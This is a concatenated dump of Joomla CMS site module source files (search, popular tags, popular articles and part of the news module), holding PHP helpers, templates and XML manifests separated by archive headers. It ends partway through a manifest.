 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Helper for mod_search
 *
 * @since  1.5
 */
class ModSearchHelper
{
	/**
	 * Display the search button as an image.
	 *
	 * @param   string  $button_text  The alt text for the button.
	 *
	 * @return  string  The HTML for the image.
	 *
	 * @since   1.5
	 */
	public static function getSearchImage($button_text)
	{
		return JHtml::_('image', 'searchButton.gif', $button_text, null, true, true);
	}
}
PK!��&��mod_search/mod_search.phpnu�[���<?php
/**
 * @package     Joomla.Site
 * @subpackage  mod_search
 *
 * @copyright   Copyright (C) 2005 - 2019 Open Source Matters, Inc. All rights reserved.
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

// Include the search functions only once
JLoader::register('ModSearchHelper', __DIR__ . '/helper.php');

$lang       = JFactory::getLanguage();
$app        = JFactory::getApplication();
$set_Itemid = (int) $params->get('set_itemid', 0);
$mitemid    = $set_Itemid > 0 ? $set_Itemid : $app->input->getInt('Itemid');

if ($params->get('opensearch', 1))
{
	$doc = JFactory::getDocument();

	$ostitle = $params->get('opensearch_title', JText::_('MOD_SEARCH_SEARCHBUTTON_TEXT') . ' ' . $app->get('sitename'));
	$doc->addHeadLink(
			JUri::getInstance()->toString(array('scheme', 'host', 'port'))
			. JRoute::_('&option=com_search&format=opensearch&Itemid=' . $mitemid), 'search', 'rel',
			array(
				'title' => htmlspecialchars($ostitle, ENT_COMPAT, 'UTF-8'),
				'type' => 'application/opensearchdescription+xml'
			)
		);
}

$upper_limit     = $lang->getUpperLimitSearchWord();
$button          = $params->get('button', 0);
$imagebutton     = $params->get('imagebutton', 0);
$button_pos      = $params->get('button_pos', 'left');
$button_text     = htmlspecialchars($params->get('button_text', JText::_('MOD_SEARCH_SEARCHBUTTON_TEXT')), ENT_COMPAT, 'UTF-8');
$width           = (int) $params->get('width');
$maxlength       = $upper_limit;
$text            = htmlspecialchars($params->get('text', JText::_('MOD_SEARCH_SEARCHBOX_TEXT')), ENT_COMPAT, 'UTF-8');
$label           = htmlspecialchars($params->get('label', JText::_('MOD_SEARCH_LABEL_TEXT')), ENT_COMPAT, 'UTF-8');
$moduleclass_sfx = htmlspecialchars($params->get('moduleclass_sfx'), ENT_COMPAT, 'UTF-8');

if ($imagebutton)
{
	$img = ModSearchHelper::getSearchImage($button_text);
}

require JModuleHelper::getLayoutPath('mod_search', $params->get('layout', 'default'));
PK!9}K=mod_search/mod_search.xmlnu�[���<?xml version="1.0" encoding="utf-8"?>
<extension type="module" version="3.1" client="site" method="upgrade">
	<name>mod_search</name>
	<author>Joomla! Project</author>
	<creationDate>July 2004</creationDate>
	<copyright>Copyright (C) 2005 - 2019 Open Source Matters. All rights reserved.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.0.0</version>
	<description>MOD_SEARCH_XML_DESCRIPTION</description>
	<files>
		<filename module="mod_search">mod_search.php</filename>
		<folder>tmpl</folder>
		<filename>helper.php</filename>
	</files>
	<languages>
		<language tag="en-GB">en-GB.mod_search.ini</language>
		<language tag="en-GB">en-GB.mod_search.sys.ini</language>
	</languages>
	<help key="JHELP_EXTENSIONS_MODULE_MANAGER_SEARCH" />
	<config>
		<fields name="params">
			<fieldset name="basic">
				<field
					name="label"
					type="label"
					label="MOD_SEARCH_FIELD_LABEL_TEXT_LABEL"
					description="MOD_SEARCH_FIELD_LABEL_TEXT_DESC"
				/>

				<field
					name="width"
					type="number"
					label="MOD_SEARCH_FIELD_BOXWIDTH_LABEL"
					description="MOD_SEARCH_FIELD_BOXWIDTH_DESC"
					filter="integer"
				/>

				<field
					name="text"
					type="text"
					label="MOD_SEARCH_FIELD_TEXT_LABEL"
					description="MOD_SEARCH_FIELD_TEXT_DESC"
				/>

				<field
					name="button"
					type="radio"
					label="MOD_SEARCH_FIELD_BUTTON_LABEL"
					description="MOD_SEARCH_FIELD_BUTTON_DESC"
					default="0"
					filter="integer"
					class="btn-group btn-group-yesno"
					>
					<option value="1">JYES</option>
					<option value="0">JNO</option>
				</field>

				<field
					name="button_pos"
					type="list"
					label="MOD_SEARCH_FIELD_BUTTONPOS_LABEL"
					description="MOD_SEARCH_FIELD_BUTTONPOS_DESC"
					default="left"
					showon="button:1"
					>
					<option value="right">MOD_SEARCH_FIELD_VALUE_RIGHT</option>
					<option value="left">MOD_SEARCH_FIELD_VALUE_LEFT</option>
					<option value="top">MOD_SEARCH_FIELD_VALUE_TOP</option>
					<option value="bottom">MOD_SEARCH_FIELD_VALUE_BOTTOM</option>
				</field>

				<field
					name="imagebutton"
					type="radio"
					label="MOD_SEARCH_FIELD_IMAGEBUTTON_LABEL"
					description="MOD_SEARCH_FIELD_IMAGEBUTTON_DESC"
					default="0"
					filter="integer"
					class="btn-group btn-group-yesno"
					showon="button:1"
					>
					<option value="1">JYES</option>
					<option value="0">JNO</option>
				</field>

				<field
					name="button_text"
					type="text"
					label="MOD_SEARCH_FIELD_BUTTONTEXT_LABEL"
					description="MOD_SEARCH_FIELD_BUTTONTEXT_DESC"
					showon="button:1"
				/>

				<field
					name="opensearch"
					type="radio"
					label="MOD_SEARCH_FIELD_OPENSEARCH_LABEL"
					description="MOD_SEARCH_FIELD_OPENSEARCH_DESC"
					class="btn-group btn-group-yesno"
					default="1"
					filter="integer"
					>
					<option value="1">JYES</option>
					<option value="0">JNO</option>
				</field>

				<field
					name="opensearch_title"
					type="text"
					label="MOD_SEARCH_FIELD_OPENSEARCH_TEXT_LABEL"
					description="MOD_SEARCH_FIELD_OPENSEARCH_TEXT_DESC"
					showon="opensearch:1"
				/>

				<field
					name="set_itemid"
					type="menuitem"
					label="MOD_SEARCH_FIELD_SETITEMID_LABEL"
					description="MOD_SEARCH_FIELD_SETITEMID_DESC"
					default="0"
					filter="integer"
					>
					<option value="0">MOD_SEARCH_SELECT_MENU_ITEMID</option>
				</field>
			</fieldset>
			<fieldset name="advanced">
				<field
					name="layout"
					type="modulelayout"
					label="JFIELD_ALT_LAYOUT_LABEL"
					description="JFIELD_ALT_MODULE_LAYOUT_DESC"
				/>

				<field
					name="moduleclass_sfx"
					type="textarea"
					label="COM_MODULES_FIELD_MODULECLASS_SFX_LABEL"
					description="COM_MODULES_FIELD_MODULECLASS_SFX_DESC"
					rows="3"
				/>

				<field
					name="cache"
					type="list"
					label="COM_MODULES_FIELD_CACHING_LABEL"
					description="COM_MODULES_FIELD_CACHING_DESC"
					default="1"
					filter="integer"
					>
					<option value="1">JGLOBAL_USE_GLOBAL</option>
					<option value="0">COM_MODULES_FIELD_VALUE_NOCACHING</option>
				</field>

				<field
					name="cache_time"
					type="number"
					label="COM_MODULES_FIELD_CACHE_TIME_LABEL"
					description="COM_MODULES_FIELD_CACHE_TIME_DESC"
					default="900"
					filter="integer"
				/>

				<field
					name="cachemode"
					type="hidden"
					default="itemid"
					>
					<option value="itemid"></option>
				</field>
			</fieldset>
		</fields>
	</config>
</extension>
PK!�V�
index.htmlnu&1i�<!DOCTYPE html><title></title>
PK!^�Ojff%mod_tags_popular/mod_tags_popular.phpnu&1i�<?php
/**
 * @package     Joomla.Site
 * @subpackage  mod_tags_popular
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Helper\ModuleHelper;

$cacheparams = new \stdClass;
$cacheparams->cachemode = 'safeuri';
$cacheparams->class = 'Joomla\Module\TagsPopular\Site\Helper\TagsPopularHelper';
$cacheparams->method = 'getList';
$cacheparams->methodparams = $params;
$cacheparams->modeparams = array('id' => 'array', 'Itemid' => 'int');

$list = ModuleHelper::moduleCache($module, $params, $cacheparams);

if (!count($list) && !$params->get('no_results_text'))
{
	return;
}

$display_count = $params->get('display_count', 0);

require ModuleHelper::getLayoutPath('mod_tags_popular', $params->get('layout', 'default'));
PK!�o�//%mod_tags_popular/mod_tags_popular.xmlnu&1i�<?xml version="1.0" encoding="utf-8"?>
<extension type="module" client="site" method="upgrade">
	<name>mod_tags_popular</name>
	<author>Joomla! Project</author>
	<creationDate>January 2013</creationDate>
	<copyright>(C) 2013 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.1.0</version>
	<description>MOD_TAGS_POPULAR_XML_DESCRIPTION</description>
	<namespace path="src">Joomla\Module\TagsPopular</namespace>
	<files>
		<filename module="mod_tags_popular">mod_tags_popular.php</filename>
		<folder>src</folder>
		<folder>tmpl</folder>
	</files>
	<languages>
		<language tag="en-GB">language/en-GB/mod_tags_popular.ini</language>
		<language tag="en-GB">language/en-GB/mod_tags_popular.sys.ini</language>
	</languages>
	<help key="JHELP_EXTENSIONS_MODULE_MANAGER_TAGS_POPULAR" />
	<config>
		<fields name="params">
			<fieldset name="basic">
				<field
					name="parentTag"
					type="tag"
					label="MOD_TAGS_POPULAR_PARENT_TAG_LABEL"
					description="MOD_TAGS_POPULAR_PARENT_TAG_DESC"
					multiple="true"
					filter="intarray"
					mode="nested"
				/>

				<field
					name="maximum"
					type="integer"
					label="MOD_TAGS_POPULAR_MAX_LABEL"
					default="5"
					filter="integer"
					first="1"
					last="20"
					step="1"
				/>

				<field
					name="timeframe"
					type="list"
					label="MOD_TAGS_POPULAR_FIELD_TIMEFRAME_LABEL"
					default="alltime"
					validate="options"
					>
					<option value="alltime">MOD_TAGS_POPULAR_FIELD_ALL_TIME</option>
					<option value="hour">MOD_TAGS_POPULAR_FIELD_LAST_HOUR</option>
					<option value="day">MOD_TAGS_POPULAR_FIELD_LAST_DAY</option>
					<option value="week">MOD_TAGS_POPULAR_FIELD_LAST_WEEK</option>
					<option value="month">MOD_TAGS_POPULAR_FIELD_LAST_MONTH</option>
					<option value="year">MOD_TAGS_POPULAR_FIELD_LAST_YEAR</option>
				</field>

				<field
					name="order_value"
					type="list"
					label="MOD_TAGS_POPULAR_FIELD_ORDER_VALUE_LABEL"
					default="count"
					validate="options"
					>
					<option value="title">MOD_TAGS_POPULAR_FIELD_ORDER_VALUE_TITLE</option>
					<option value="count">MOD_TAGS_POPULAR_FIELD_ORDER_VALUE_COUNT</option>
					<option value="rand()">MOD_TAGS_POPULAR_FIELD_ORDER_VALUE_RANDOM</option>
				</field>

				<field
					name="order_direction"
					type="list"
					label="JGLOBAL_ORDER_DIRECTION_LABEL"
					default="1"
					filter="integer"
					validate="options"
					>
					<option value="0">JGLOBAL_ORDER_ASCENDING</option>
					<option value="1">JGLOBAL_ORDER_DESCENDING</option>
				</field>

				<field
					name="display_count"
					type="radio"
					layout="joomla.form.field.radio.switcher"
					label="MOD_TAGS_POPULAR_FIELD_DISPLAY_COUNT_LABEL"
					default="0"
					filter="integer"
					>
					<option value="0">JNO</option>
					<option value="1">JYES</option>
				</field>

				<field
					name="no_results_text"
					type="radio"
					layout="joomla.form.field.radio.switcher"
					label="MOD_TAGS_POPULAR_FIELD_NO_RESULTS_LABEL"
					default="0"
					filter="integer"
					>
					<option value="0">JNO</option>
					<option value="1">JYES</option>
				</field>
			</fieldset>
			<fieldset
				name="cloud"
				label="MOD_TAGS_POPULAR_FIELDSET_CLOUD_LABEL"
			>
				<field
					name="minsize"
					type="number"
					label="MOD_TAGS_POPULAR_FIELD_MINSIZE_LABEL"
					description="MOD_TAGS_POPULAR_FIELD_MINSIZE_DESC"
					default="1"
					filter="float"
				/>

				<field
					name="maxsize"
					type="number"
					label="MOD_TAGS_POPULAR_FIELD_MAXSIZE_LABEL"
					description="MOD_TAGS_POPULAR_FIELD_MAXSIZE_DESC"
					default="2"
					filter="float"
				/>
			</fieldset>
			<fieldset name="advanced">
				<field
					name="layout"
					type="modulelayout"
					label="JFIELD_ALT_LAYOUT_LABEL"
					class="form-select"
					default="_:default"
					validate="moduleLayout"
				/>

				<field
					name="moduleclass_sfx"
					type="textarea"
					label="COM_MODULES_FIELD_MODULECLASS_SFX_LABEL"
					rows="3"
					validate="CssIdentifier"
				/>

				<field
					name="owncache"
					type="list"
					label="COM_MODULES_FIELD_CACHING_LABEL"
					default="1"
					filter="integer"
					validate="options"
					>
					<option value="1">JGLOBAL_USE_GLOBAL</option>
					<option value="0">COM_MODULES_FIELD_VALUE_NOCACHING</option>
				</field>

				<field
					name="cache_time"
					type="number"
					label="COM_MODULES_FIELD_CACHE_TIME_LABEL"
					default="900"
					filter="integer"
				/>
			</fieldset>
		</fields>
	</config>
</extension>
PK!&��uumod_tags_popular/helper.phpnu�[���<?php
/**
 * @package     Joomla.Site
 * @subpackage  mod_tags_popular
 *
 * @copyright   Copyright (C) 2005 - 2019 Open Source Matters, Inc. All rights reserved.
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Helper for mod_tags_popular
 *
 * @since  3.1
 */
abstract class ModTagsPopularHelper
{
	/**
	 * Get list of popular tags
	 *
	 * @param   \Joomla\Registry\Registry  &$params  module parameters
	 *
	 * @return  mixed
	 *
	 * @since   3.1
	 */
	public static function getList(&$params)
	{
		$db          = JFactory::getDbo();
		$user        = JFactory::getUser();
		$groups      = implode(',', $user->getAuthorisedViewLevels());
		$timeframe   = $params->get('timeframe', 'alltime');
		$maximum     = $params->get('maximum', 5);
		$order_value = $params->get('order_value', 'title');
		$nowDate     = JFactory::getDate()->toSql();
		$nullDate    = $db->quote($db->getNullDate());

		$query = $db->getQuery(true)
			->select(
				array(
					'MAX(' . $db->quoteName('tag_id') . ') AS tag_id',
					' COUNT(*) AS count', 'MAX(t.title) AS title',
					'MAX(' . $db->quoteName('t.access') . ') AS access',
					'MAX(' . $db->quoteName('t.alias') . ') AS alias',
					'MAX(' . $db->quoteName('t.params') . ') AS params',
				)
			)
			->group($db->quoteName(array('tag_id', 'title', 'access', 'alias')))
			->from($db->quoteName('#__contentitem_tag_map', 'm'))
			->where($db->quoteName('t.access') . ' IN (' . $groups . ')');

		// Only return published tags
		$query->where($db->quoteName('t.published') . ' = 1 ');

		// Filter by Parent Tag
		$parentTags = $params->get('parentTag', array());

		if ($parentTags)
		{
			$query->where($db->quoteName('t.parent_id') . ' IN (' . implode(',', $parentTags) . ')');
		}

		// Optionally filter on language
		$language = JComponentHelper::getParams('com_tags')->get('tag_list_language_filter', 'all');

		if ($language !== 'all')
		{
			if ($language === 'current_language')
			{
				$language = JHelperContent::getCurrentLanguage();
			}

			$query->where($db->quoteName('t.language') . ' IN (' . $db->quote($language) . ', ' . $db->quote('*') . ')');
		}

		if ($timeframe !== 'alltime')
		{
			$query->where($db->quoteName('tag_date') . ' > ' . $query->dateAdd($db->quote($nowDate), '-1', strtoupper($timeframe)));
		}

		$query->join('INNER', $db->quoteName('#__tags', 't') . ' ON ' . $db->quoteName('tag_id') . ' = t.id')
		->join('INNER', $db->qn('#__ucm_content', 'c') . ' ON ' . $db->qn('m.core_content_id') . ' = ' . $db->qn('c.core_content_id'));

		$query->where($db->quoteName('m.type_alias') . ' = ' . $db->quoteName('c.core_type_alias'));

		// Only return tags connected to published and authorised items
		$query->where($db->quoteName('c.core_state') . ' = 1')
			->where($db->quoteName('c.core_access') . ' IN (' . $groups . ')')
			->where('(' . $db->quoteName('c.core_publish_up') . ' = ' . $nullDate
				. ' OR ' . $db->quoteName('c.core_publish_up') . ' <= ' . $db->quote($nowDate) . ')')
			->where('(' . $db->quoteName('c.core_publish_down') . ' = ' . $nullDate
				. ' OR  ' . $db->quoteName('c.core_publish_down') . ' >= ' . $db->quote($nowDate) . ')');

		// Set query depending on order_value param
		if ($order_value === 'rand()')
		{
			$query->order($query->Rand());
		}
		else
		{
			$order_value     = $db->quoteName($order_value);
			$order_direction = $params->get('order_direction', 1) ? 'DESC' : 'ASC';

			if ($params->get('order_value', 'title') === 'title')
			{
				$query->setLimit($maximum);
				$query->order('count DESC');
				$equery = $db->getQuery(true)
					->select(
						array(
							'a.tag_id',
							'a.count',
							'a.title',
							'a.access',
							'a.alias',
						)
					)
					->from('(' . (string) $query . ') AS a')
					->order('a.title' . ' ' . $order_direction);

				$query = $equery;
			}
			else
			{
				$query->order($order_value . ' ' . $order_direction);
			}
		}

		$db->setQuery($query, 0, $maximum);

		try
		{
			$results = $db->loadObjectList();
		}
		catch (RuntimeException $e)
		{
			$results = array();
			JFactory::getApplication()->enqueueMessage($e->getMessage(), 'error');
		}

		return $results;
	}
}
PK!3�����mod_tags_popular/tmpl/cloud.phpnu&1i�<?php
/**
 * @package     Joomla.Site
 * @subpackage  mod_tags_popular
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Language\Text;
use Joomla\CMS\Router\Route;
use Joomla\Component\Tags\Site\Helper\RouteHelper;

$minsize = $params->get('minsize', 1);
$maxsize = $params->get('maxsize', 2);

?>
<div class="mod-tagspopular-cloud tagspopular tagscloud">
<?php
if (!count($list)) : ?>
	<div class="alert alert-info">
		<span class="icon-info-circle" aria-hidden="true"></span><span class="visually-hidden"><?php echo Text::_('INFO'); ?></span>
		<?php echo Text::_('MOD_TAGS_POPULAR_NO_ITEMS_FOUND'); ?>
	</div>
<?php else :
	// Find maximum and minimum count
	$mincount = null;
	$maxcount = null;
	foreach ($list as $item)
	{
		if ($mincount === null || $mincount > $item->count)
		{
			$mincount = $item->count;
		}
		if ($maxcount === null || $maxcount < $item->count)
		{
			$maxcount = $item->count;
		}
	}
	$countdiff = $maxcount - $mincount;

	foreach ($list as $item) :
		if ($countdiff === 0) :
			$fontsize = $minsize;
		else :
			$fontsize = $minsize + (($maxsize - $minsize) / $countdiff) * ($item->count - $mincount);
		endif;
?>
		<span class="tag">
			<a class="tag-name" style="font-size: <?php echo $fontsize . 'em'; ?>" href="<?php echo Route::_(RouteHelper::getTagRoute($item->tag_id . ':' . $item->alias)); ?>">
				<?php echo htmlspecialchars($item->title, ENT_COMPAT, 'UTF-8'); ?></a>
			<?php if ($display_count) : ?>
				<span class="tag-count badge bg-info"><?php echo $item->count; ?></span>
			<?php endif; ?>
		</span>
	<?php endforeach; ?>
<?php endif; ?>
</div>
PK!8�Z�JJ!mod_tags_popular/tmpl/default.phpnu&1i�<?php
/**
 * @package     Joomla.Site
 * @subpackage  mod_tags_popular
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Language\Text;
use Joomla\CMS\Router\Route;
use Joomla\Component\Tags\Site\Helper\RouteHelper;

?>
<div class="mod-tagspopular tagspopular">
<?php if (!count($list)) : ?>
	<div class="alert alert-info">
		<span class="icon-info-circle" aria-hidden="true"></span><span class="visually-hidden"><?php echo Text::_('INFO'); ?></span>
		<?php echo Text::_('MOD_TAGS_POPULAR_NO_ITEMS_FOUND'); ?>
	</div>
<?php else : ?>
	<ul>
	<?php foreach ($list as $item) : ?>
	<li>
		<a href="<?php echo Route::_(RouteHelper::getTagRoute($item->tag_id . ':' . $item->alias)); ?>">
			<?php echo htmlspecialchars($item->title, ENT_COMPAT, 'UTF-8'); ?></a>
		<?php if ($display_count) : ?>
			<span class="tag-count badge bg-info"><?php echo $item->count; ?></span>
		<?php endif; ?>
	</li>
	<?php endforeach; ?>
	</ul>
<?php endif; ?>
</div>
PK!Lb�oDD%mod_articles_popular/tmpl/default.phpnu&1i�<?php
/**
 * @package     Joomla.Site
 * @subpackage  mod_articles_popular
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

if (!$list)
{
	return;
}

?>
<ul class="mostread mod-list">
<?php foreach ($list as $item) : ?>
	<li itemscope itemtype="https://schema.org/Article">
		<a href="<?php echo $item->link; ?>" itemprop="url">
			<span itemprop="name">
				<?php echo $item->title; ?>
			</span>
		</a>
	</li>
<?php endforeach; ?>
</ul>
PK!?��-mod_articles_popular/mod_articles_popular.phpnu&1i�<?php
/**
 * @package     Joomla.Site
 * @subpackage  mod_articles_popular
 *
 * @copyright   (C) 2005 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Component\ComponentHelper;
use Joomla\CMS\Helper\ModuleHelper;
use Joomla\CMS\Language\Text;
use Joomla\Module\ArticlesPopular\Site\Helper\ArticlesPopularHelper;

// Exit early if hits are disabled.
if (!ComponentHelper::getParams('com_content')->get('record_hits', 1))
{
	echo Text::_('JGLOBAL_RECORD_HITS_DISABLED');

	return;
}

$list = ArticlesPopularHelper::getList($params);

require ModuleHelper::getLayoutPath('mod_articles_popular', $params->get('layout', 'default'));
PK!7	6kk-mod_articles_popular/mod_articles_popular.xmlnu&1i�<?xml version="1.0" encoding="utf-8"?>
<extension type="module" client="site" method="upgrade">
	<name>mod_articles_popular</name>
	<author>Joomla! Project</author>
	<creationDate>July 2006</creationDate>
	<copyright>(C) 2006 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.0.0</version>
	<description>MOD_POPULAR_XML_DESCRIPTION</description>
	<namespace path="src">Joomla\Module\ArticlesPopular</namespace>
	<files>
		<filename module="mod_articles_popular">mod_articles_popular.php</filename>
		<folder>src</folder>
		<folder>tmpl</folder>
	</files>
	<languages>
		<language tag="en-GB">language/en-GB/mod_articles_popular.ini</language>
		<language tag="en-GB">language/en-GB/mod_articles_popular.sys.ini</language>
	</languages>
	<help key="JHELP_EXTENSIONS_MODULE_MANAGER_MOST_READ" />
	<config>
		<fields name="params">
			<fieldset name="basic">
				<field
					name="catid"
					type="category"
					label="JCATEGORY"
					extension="com_content"
					multiple="true"
					filter="intarray"
					layout="joomla.form.field.list-fancy-select"
				/>

				<field
					name="count"
					type="number"
					label="MOD_POPULAR_FIELD_COUNT_LABEL"
					default="5"
					filter="integer"
				/>

				<field
					name="show_front"
					type="radio"
					layout="joomla.form.field.radio.switcher"
					label="MOD_POPULAR_FIELD_FEATURED_LABEL"
					default="1"
					filter="integer"
					>
					<option value="0">JHIDE</option>
					<option value="1">JSHOW</option>
				</field>

				<field
					name="basicspacer1"
					type="spacer"
					hr="true"
				/>

				<field
					name="date_filtering"
					type="list"
					label="MOD_POPULAR_FIELD_DATEFILTERING_LABEL"
					default="off"
					validate="options"
					>
					<option value="off">MOD_POPULAR_OPTION_OFF_VALUE</option>
					<option value="range">MOD_POPULAR_OPTION_DATERANGE_VALUE</option>
					<option value="relative">MOD_POPULAR_OPTION_RELATIVEDAY_VALUE</option>
				</field>

				<field
					name="date_field"
					type="list"
					label="MOD_POPULAR_FIELD_DATEFIELD_LABEL"
					default="a.created"
					showon="date_filtering:range,relative"
					validate="options"
					>
					<option value="a.created">MOD_POPULAR_OPTION_CREATED_VALUE</option>
					<option value="a.modified">MOD_POPULAR_OPTION_MODIFIED_VALUE</option>
					<option value="a.publish_up">MOD_POPULAR_OPTION_STARTPUBLISHING_VALUE</option>
				</field>

				<field
					name="start_date_range"
					type="calendar"
					label="MOD_POPULAR_FIELD_STARTDATE_LABEL"
					translateformat="true"
					showtime="true"
					size="22"
					filter="user_utc"
					showon="date_filtering:range"
				/>

				<field
					name="end_date_range"
					type="calendar"
					label="MOD_POPULAR_FIELD_ENDDATE_LABEL"
					translateformat="true"
					showtime="true"
					size="22"
					filter="user_utc"
					showon="date_filtering:range"
				/>

				<field
					name="relative_date"
					type="number"
					label="MOD_POPULAR_FIELD_RELATIVEDATE_LABEL"
					default="30"
					filter="integer"
					showon="date_filtering:relative"
				/>
			</fieldset>

			<fieldset name="advanced">
				<field
					name="layout"
					type="modulelayout"
					label="JFIELD_ALT_LAYOUT_LABEL"
					class="form-select"
					validate="moduleLayout"
 				/>

				<field
					name="moduleclass_sfx"
					type="textarea"
					label="COM_MODULES_FIELD_MODULECLASS_SFX_LABEL"
					rows="3"
					validate="CssIdentifier"
				/>

				<field
					name="cache"
					type="list"
					label="COM_MODULES_FIELD_CACHING_LABEL"
					default="1"
					filter="integer"
					validate="options"
					>
					<option value="1">JGLOBAL_USE_GLOBAL</option>
					<option value="0">COM_MODULES_FIELD_VALUE_NOCACHING</option>
				</field>

				<field
					name="cache_time"
					type="number"
					label="COM_MODULES_FIELD_CACHE_TIME_LABEL"
					default="900"
					filter="integer"
				/>

				<field
					name="cachemode"
					type="hidden"
					default="static"
					>
					<option value="static"></option>
				</field>

			</fieldset>
		</fields>
	</config>
</extension>
PK!�0i�OOmod_articles_popular/helper.phpnu�[���<?php
/**
 * @package     Joomla.Site
 * @subpackage  mod_articles_popular
 *
 * @copyright   Copyright (C) 2005 - 2019 Open Source Matters, Inc. All rights reserved.
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JLoader::register('ContentHelperRoute', JPATH_SITE . '/components/com_content/helpers/route.php');

JModelLegacy::addIncludePath(JPATH_SITE . '/components/com_content/models', 'ContentModel');

/**
 * Helper for mod_articles_popular
 *
 * @since  1.6
 */
abstract class ModArticlesPopularHelper
{
	/**
	 * Get a list of popular articles from the articles model
	 *
	 * @param   \Joomla\Registry\Registry  &$params  object holding the models parameters
	 *
	 * @return mixed
	 */
	public static function getList(&$params)
	{
		// Get an instance of the generic articles model
		$model = JModelLegacy::getInstance('Articles', 'ContentModel', array('ignore_request' => true));

		// Set application parameters in model
		$app = JFactory::getApplication();
		$appParams = $app->getParams();
		$model->setState('params', $appParams);

		$model->setState('list.start', 0);
		$model->setState('filter.published', 1);

		// Set the filters based on the module params
		$model->setState('list.limit', (int) $params->get('count', 5));
		$model->setState('filter.featured', $params->get('show_front', 1) == 1 ? 'show' : 'hide');

		// This module does not use tags data
		$model->setState('load_tags', false);

		// Access filter
		$access = !JComponentHelper::getParams('com_content')->get('show_noauth');
		$authorised = JAccess::getAuthorisedViewLevels(JFactory::getUser()->get('id'));
		$model->setState('filter.access', $access);

		// Category filter
		$model->setState('filter.category_id', $params->get('catid', array()));

		// Date filter
		$date_filtering = $params->get('date_filtering', 'off');

		if ($date_filtering !== 'off')
		{
			$model->setState('filter.date_filtering', $date_filtering);
			$model->setState('filter.date_field', $params->get('date_field', 'a.created'));
			$model->setState('filter.start_date_range', $params->get('start_date_range', '1000-01-01 00:00:00'));
			$model->setState('filter.end_date_range', $params->get('end_date_range', '9999-12-31 23:59:59'));
			$model->setState('filter.relative_date', $params->get('relative_date', 30));
		}

		// Filter by language
		$model->setState('filter.language', $app->getLanguageFilter());

		// Ordering
		$model->setState('list.ordering', 'a.hits');
		$model->setState('list.direction', 'DESC');

		$items = $model->getItems();

		foreach ($items as &$item)
		{
			$item->slug = $item->id . ':' . $item->alias;

			/** @deprecated Catslug is deprecated, use catid instead. 4.0 */
			$item->catslug = $item->catid . ':' . $item->category_alias;

			if ($access || in_array($item->access, $authorised))
			{
				// We know that user has the privilege to view the article
				$item->link = JRoute::_(ContentHelperRoute::getArticleRoute($item->slug, $item->catid, $item->language));
			}
			else
			{
				$item->link = JRoute::_('index.php?option=com_users&view=login');
			}
		}

		return $items;
	}
}
PK!#fe��'mod_articles_news/mod_articles_news.xmlnu&1i�<?xml version="1.0" encoding="utf-8"?>
<extension type="module" client="site" method="upgrade">
	<name>mod_articles_news</name>
	<author>Joomla! Project</author>
	<creationDate>July 2006</creationDate>
	<copyright>(C) 2006 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.0.0</version>
	<description>MOD_ARTICLES_NEWS_XML_DESCRIPTION</description>
	<namespace path="src">Joomla\Module\ArticlesNews</namespace>
	<files>
		<filename module="mod_articles_news">mod_articles_news.php</filename>
		<folder>src</folder>
		<folder>tmpl</folder>
	</files>
	<languages>
		<language tag="en-GB">language/en-GB/mod_articles_news.ini</language>
		<language tag="en-GB">language/en-GB/mod_articles_news.sys.ini</language>
	</languages>
	<help key="JHELP_EXTENSIONS_MODULE_MANAGER_ARTICLES_NEWSFLASH"/>
	<config>
		<fields name="params">
			<fieldset name="basic">
				<field
					name="catid"
					type="category"
					label="JCATEGORY"
					extension="com_content"
					multiple="true"
					filter="intarray"
					class="multipleCategories"
					layout="joomla.form.field.list-fancy-select"
				/>

				<field
					name="tag"
					type="tag"
					label="JTAG"
					mode="nested"
					multiple="true"
					filter="intarray"
					class="multipleTags"
				/>

				<field
					name="image"
					type="radio"
					layout="joomla.form.field.radio.switcher"
					label="MOD_ARTICLES_NEWS_FIELD_IMAGES_LABEL"
					description="MOD_ARTICLES_NEWS_FIELD_IMAGES_DESC"
					default="0"
					filter="integer"
					>
					<option value="0">JHIDE</option>
					<option value="1">JSHOW</option>
				</field>

				<field
					name="img_intro_full"
					type="list"
					label="MOD_ARTICLES_NEWS_FIELD_IMAGES_ARTICLE_LABEL"
					default="none"
					validate="options"
					>
					<option value="intro">MOD_ARTICLES_NEWS_OPTION_INTROIMAGE</option>
					<option value="full">MOD_ARTICLES_NEWS_OPTION_FULLIMAGE</option>
					<option value="none">JNO</option>
				</field>

				<field
					name="item_title"
					type="radio"
					layout="joomla.form.field.radio.switcher"
					label="MOD_ARTICLES_NEWS_FIELD_TITLE_LABEL"
					default="0"
					filter="integer"
					>
					<option value="0">JHIDE</option>
